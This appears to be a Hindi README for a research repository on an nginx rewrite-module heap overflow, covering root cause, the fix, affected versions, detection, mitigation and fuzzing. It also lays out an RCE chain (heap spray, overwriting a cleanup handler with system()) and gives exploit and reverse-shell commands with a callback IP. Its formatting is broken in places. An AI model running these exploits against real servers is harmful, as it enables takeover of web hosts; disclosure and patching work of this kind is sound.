location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

**मुख्य आवश्यकताएँ:**
- एक `rewrite` निर्देश जिसके प्रतिस्थापन में `?` (क्वेरी-स्ट्रिंग विभाजक) हो
- एक बाद का `set`, `if`, या `rewrite` निर्देश जो एक **अनामित PCRE कैप्चर** (`$1`, `$2`, आदि) को संदर्भित करता है
- rewrite प्रतिस्थापन में `?` `ngx_http_script_start_args_code` को ट्रिगर करता है जो `e->is_args = 1` सेट करता है

### एक हमलावर क्या प्राप्त कर सकता है

| क्षमता | विवरण |
|-----------|-------------|
| **सेवा अस्वीकार (DoS)** | वर्कर प्रक्रियाओं को निर्धारित रूप से क्रैश करें, जिससे रीस्पॉन लूप उत्पन्न होते हैं (ASLR के बावजूद काम करता है) |
| **दूरस्थ कोड निष्पादन (RCE)** | ASLR अक्षम होने पर (या आंशिक ओवरराइट के माध्यम से बाईपास), nginx उपयोगकर्ता के रूप में पूर्ण RCE प्राप्त करें |
| **डेटा चोरी** | मेमोरी रीड प्रिमिटिव के माध्यम से, वर्कर हीप से संवेदनशील डेटा निकालें |
| **स्थायित्व** | वर्कर प्रक्रिया मेमोरी में कोड निष्पादन के माध्यम से बैकडोर लगाएं |

---

## 2. मूल कारण विश्लेषण

### दो-पास स्क्रिप्ट इंजन

NGINX का `ngx_http_rewrite_module` `src/http/ngx_http_script.c` में **दो-पास स्क्रिप्ट इंजन** का उपयोग करता है:

1. **लंबाई पास** (`ngx_http_script_run`): आवश्यक कुल बफर आकार की गणना करने के लिए सभी स्क्रिप्ट कोड पर पुनरावृत्ति करता है। `le.ip` और `le.pos` में लंबाई लिखता है।
2. **कॉपी पास** (`ngx_http_script_copy_len`/`_code`): फिर से पुनरावृत्ति करता है, पूर्व-आवंटित बफर में `e->ip` और `e->pos` पर वास्तविक बाइट्स लिखता है।

प्रत्येक स्क्रिप्ट कोड के लिए दो हैंडलर होते हैं: प्रत्येक पास के लिए एक। उदाहरण के लिए:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### `is_args` फ़्लैग

**इंजन संरचना** (`ngx_http_script_engine_t`) पर फ़्लैग `e->is_args` नियंत्रित करता है कि कॉपी पास कुछ वर्णों को कैसे संभालता है:```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

1. **पुनर्लेखन मूल्यांकन** के दौरान, इंजन प्रतिस्थापन स्ट्रिंग में `?` का सामना करता है, जो `ngx_http_script_start_args_code` को सक्रिय करता है, जिससे `e->is_args = 1` सेट होता है।
2. पुनर्लेखन अनुरोध URI को संशोधित करता है और फिर अगले निर्देश पर जारी रहता है।
3. **`e->is_args` कभी साफ़ नहीं किया जाता**।

फिर:```
set $original_endpoint $1;

विस्तार अनुपात `7 + (n_escapable * 2)` है, जहाँ `n_escapable` कैप्चर में `+`, `%` और `&` की संख्या है।

---

## 3. शोषण यांत्रिकी

### अवलोकन

| चरण | तकनीक | विवरण |
|------|-----------|-------------|
| 1 | ओवरफ्लो | हीप बफर को ओवरफ्लो करने के लिए `+` पैडिंग के साथ तैयार URI भेजें |
| 2 | हीप स्प्रे | नियंत्रित डेटा से हीप भरने के लिए `/spray` पर बड़े बॉडी वाले POST भेजें |
| 3 | फेंग शुई | आवंटन को इस प्रकार व्यवस्थित करें कि ओवरफ्लो लक्ष्य (`ngx_pool_cleanup_t`) सन्निकट हो |
| 4 | हैंडलर दूषित करें | ओवरफ्लो `ngx_pool_cleanup_t.handler` को `system()` पते से अधिलेखित कर देता है |
| 5 | क्लीनअप ट्रिगर करें | पूल विनाश की प्रतीक्षा करें → `system(cmd)` हमलावर के कमांड को निष्पादित करता है |
| 6 | रिवर्स शेल | इंटरैक्टिव पहुँच के लिए रिवर्स शेल पेलोड से जुड़ें |

### क्रॉस-अनुरोध फेंग शुई

**एकल-अनुरोध फेंग शुई विफल होता है** क्योंकि ओवरफ्लो `cleanup` पॉइंटर तक पहुँचने से पहले पूल के मेटाडेटा (`->d.next`, `->d.failed`) को दूषित कर देता है। जब अनुरोध के अंत में पूल नष्ट होता है, तो दूषित मेटाडेटा `system()` को कॉल किए जाने से पहले **क्रैश** का कारण बनता है।

इसके बजाय, शोषण **क्रॉस-अनुरोध फेंग शुई** का उपयोग करता है:
1. **अनुरोध 1 (स्प्रे)**: `/spray` पर बड़े बॉडी के साथ POST करें। बैकएंड (`server.py`) `X-Delay` हेडर के साथ प्रतिक्रिया रोकता है, कनेक्शन खुला रखता है और हीप आवंटन को संरक्षित करता है। स्प्रे हीप को नकली `ngx_pool_cleanup_t` ब्लॉक से भरता है।
2. **अनुरोध 2 (ओवरफ्लो)**: ओवरफ्लो URI भेजें। ओवरफ्लो केवल `cleanup` पॉइंटर (पूल मेटाडेटा नहीं) को दूषित करता है, इसे स्प्रे किए गए नकली ब्लॉक की ओर इंगित करता है।
3. **पूल विनाश**: जब स्प्रे प्रतिक्रिया पूरी होती है (विलंब समाप्त), तो पूल की क्लीनअप श्रृंखला नकली ब्लॉक पर जाती है और `system(cmd)` को कॉल करती है।

### पता आवश्यकताएँ

| प्रतीक | मान (डॉकर, ASLR बंद) | विवरण |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | nginx हीप का आधार |
| `system@libc` | `0x7ffff6f6e420` | glibc में `system()` |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | साइकिल पूल का पॉइंटर |
| नकली क्लीनअप पता | `0x5555556a4030` | स्प्रे लक्ष्य पता |

### ASLR बाईपास

ASLR को अक्षम किए बिना, **DoS** (क्रैश) नियतात्मक रूप से काम करता है। ASLR सक्षम होने पर RCE के लिए, दो दृष्टिकोण हैं:

1. **आंशिक अधिलेखन**: एक ही पृष्ठ के भीतर पॉइंटर को स्थानांतरित करने के लिए 1-बाइट या 2-बाइट अधिलेखन का उपयोग करें, शेष निबल्स (16–256 प्रयास) को बलपूर्वक परखें।
2. **सूचना लीक**: लेआउट निर्धारित करने के लिए `/proc/self/maps` पढ़ें या `log_parser.py` मेमोरी विश्लेषण का उपयोग करें।

---

## 4. फिक्स विश्लेषण

### आधिकारिक फिक्स

**कमिट**: `524977e7c534e87e5b55739fa74601c9f1102686`  
**फ़ाइल**: `src/http/ngx_http_script.c`  
**पंक्ति**: ~1205 (`ngx_http_script_regex_end_code` में)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

### बैकपोर्ट पैचेस

| पैच | Nginx संस्करण |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. प्रभावित संस्करण

### NGINX ओपन सोर्स

| सीमा | स्थिति |
|-------|--------|
| **0.1.0 – 0.6.26** | अप्रभावित (रीराइट मॉड्यूल अनामित कैप्चर्स से पहले का है) |
| **0.6.27 – 1.30.0** | **असुरक्षित** (18 वर्षों की अवधि) |
| **1.30.1** | पहला सुधारित संस्करण |
| **1.31.0+** | सुधारित (मेनलाइन) |

### NGINX Plus

| रिलीज़ | प्रभावित | सुधारित |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### NGINX इकोसिस्टम

| उत्पाद | प्रभावित | स्थिति |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | परामर्श लंबित |
| F5 NGINX WAF | 5.9.0–5.12.1 | परामर्श लंबित |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | परामर्श लंबित |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | परामर्श लंबित |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | परामर्श लंबित |
| NGINX Agent | 2.0.0–2.35.0 | परामर्श लंबित |

---

## 6. पता लगाना

### संस्करण जाँच```bash
bash detection/detect_vuln.sh

### कंटेनर स्कैन```bash
python3 detection/container_scan.py

---

## 7. शमन

### तत्काल (कोड बदलाव के बिना)

सभी `rewrite` निर्देशों में **अनामित कैप्चर** को **नामित कैप्चर** से बदलें:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

ये हार्डनिंग उपाय लागू करता है:
- ASLR सत्यापन और अनिवार्य सक्षमीकरण
- वर्कर प्रक्रिया पृथक्करण
- कोर डंप प्रतिबंध
- SSL/TLS हार्डनिंग
- दर सीमा निर्धारण
- CSP हेडर

### ASLR जाँच```bash
bash detection/check_aslr.sh

## 9. त्वरित आरंभ```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

डॉकर वातावरण:
- NGINX को कमिट `98fc3bb78` (फिक्स से पहले अंतिम कमजोर कमिट) पर स्रोत से बनाता है
- इसमें GDB, valgrind, `util-linux` शामिल है (`setarch -R` के लिए ASLR अक्षम करने हेतु)
- पोर्ट **19321** (कमजोर nginx), **19322** (द्वितीयक), **19323** (पायथन बैकएंड) को उजागर करता है
- एंट्रीपॉइंट नियतात्मक शोषण पता लेआउट के लिए ASLR अक्षम करने हेतु `setarch x86_64 -R` का उपयोग करता है
- डिबगिंग के लिए `SYS_PTRACE` क्षमता और `seccomp=unconfined` प्रदान करता है

### केवल कमजोर```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

### ASAN कंटेनर```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

---
## 11. अतिप्रवाह को ट्रिगर करें

### मूल क्रैश (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

कैप्चर `$1` में `+` वर्ण कॉपी पास के दौरान 3× विस्तारित हो जाते हैं जबकि बफ़र को कच्ची लंबाई के लिए आकार दिया गया था, जिससे हीप ओवरफ्लो हो जाता है।

### अपेक्षित आउटपुट```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

`+` चिह्नों की न्यूनतम संख्या की गणना करता है जो लक्ष्य बाइट्स की संख्या को ओवरफ्लो करने के लिए आवश्यक हैं (विशिष्ट हीप संरचनाओं का शोषण करते समय उपयोगी)।

### वर्ण विस्तार```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

### मूल उपयोग```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

### उन्नत विकल्प

| फ़्लैग | डिफ़ॉल्ट | विवरण |
|------|---------|-------------|
| `--host` | `127.0.0.1` | लक्ष्य होस्ट |
| `--port` | `19321` | लक्ष्य पोर्ट |
| `--cmd` | — | निष्पादित करने का आदेश (`--shell` को छोड़कर आवश्यक) |
| `--shell` | — | इंटरैक्टिव शेल मोड का उपयोग करें |
| `--tries` | `3` | एक्सप्लॉइट प्रयासों की संख्या |
| `--delay` | `2.0` | स्प्रे और ओवरफ्लो के बीच विलंब (सेकंड) |
| `--payload` | — | कस्टम पेलोड फ़ाइल का पथ |
| `--debug` | — | वर्बोज़ डीबग आउटपुट सक्षम करें |

### हीप लेआउट विश्लेषण```bash
python3 exploit/heap_layout.py

उन हीप पतों को ढूंढता है जिनके बाइट्स में एस्केपेबल कैरेक्टर्स (`+`, `%`, `&`, `?`, आदि) शामिल नहीं हैं, जिनका उपयोग एक्सप्लॉइट पेलोड निर्माण में किया जाता है।

---

## 13. रिवर्स शेल सत्यापन

### आर्किटेक्चर```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

### स्वचालित सत्यापन```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

## 14. पैचिंग

### फिक्स लागू करें```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

### बैकपोर्ट लागू करें```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

## 15. परीक्षण

### इकाई परीक्षण```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

रन:
1. यूनिट परीक्षण (pytest या unittest)
2. ट्रिगर/ओवरफ़्लो परीक्षण (यदि सर्वर चल रहा है)
3. असुरक्षित और सुरक्षित कॉन्फ़िग के विरुद्ध कॉन्फ़िग स्कैनर
4. पैच ड्राई-रन सत्यापन

### रिग्रेशन मैट्रिक्स```bash
bash tools/regression_matrix.sh

सभी कॉन्फ़िग पैटर्न (बेसिक, एडवांस्ड, इनग्रेस, गेटवे) को ओवरफ़्लो ट्रिगर्स के साथ परीक्षण करता है।

---

## 16. फ़ज़िंग

### libFuzzer Harness

फ़ज़र (`fuzz/ngx_http_script_fuzz.c`) दो-पास स्क्रिप्ट इंजन का अनुकरण करता है:
1. इनपुट को स्क्रिप्ट कोड के अनुक्रम के रूप में पार्स करता है
2. लंबाई पास निष्पादित करता है
3. `e->is_args = 1` के साथ कॉपी पास निष्पादित करता है
4. ASAN या आकार बेमेल के माध्यम से बफ़र ओवरफ़्लो का पता लगाता है```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

Launches AFL++ with ASAN, configurable timeout, and memory limits against the fuzzing harness.

### बीज कॉर्पस

`fuzz/corpus/` निर्देशिका में ऐसे बीज इनपुट शामिल हैं जो कमजोर पैटर्न को पुनः उत्पन्न करते हैं, जिनमें शामिल हैं:
- बुनियादी ओवरफ़्लो ट्रिगर
- नामित कैप्चर (ओवरफ़्लो नहीं होना चाहिए)
- किनारे के मामले (खाली कैप्चर, अधिकतम आकार, आदि)

---

## 17. CI पाइपलाइन

### GitHub Actions

प्रोजेक्ट एक **एकल GitHub Actions CI** वर्कफ़्लो (`.github/workflows/ci.yml`) का उपयोग करता है जिसमें ये जॉब्स हैं:

| जॉब | क्या करता है |
|-----|-------------|
| `lint` | ShellCheck, Python सिंटैक्स सत्यापन |
| `scan-configs` | सभी कॉन्फ़िग सैंपल पर config_scanner.py चलाता है |
| `fuzz-build` | libFuzzer हार्नेस बनाता है |
| `test` | pytest/unittest सूट चलाता है |
| `detect-patch` | पैच फ़ॉर्मेट और फिक्स सामग्री की पुष्टि करता है |
| `verify-project` | `tools/verify_project.sh` चलाता है |

### पूर्ण पाइपलाइन```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker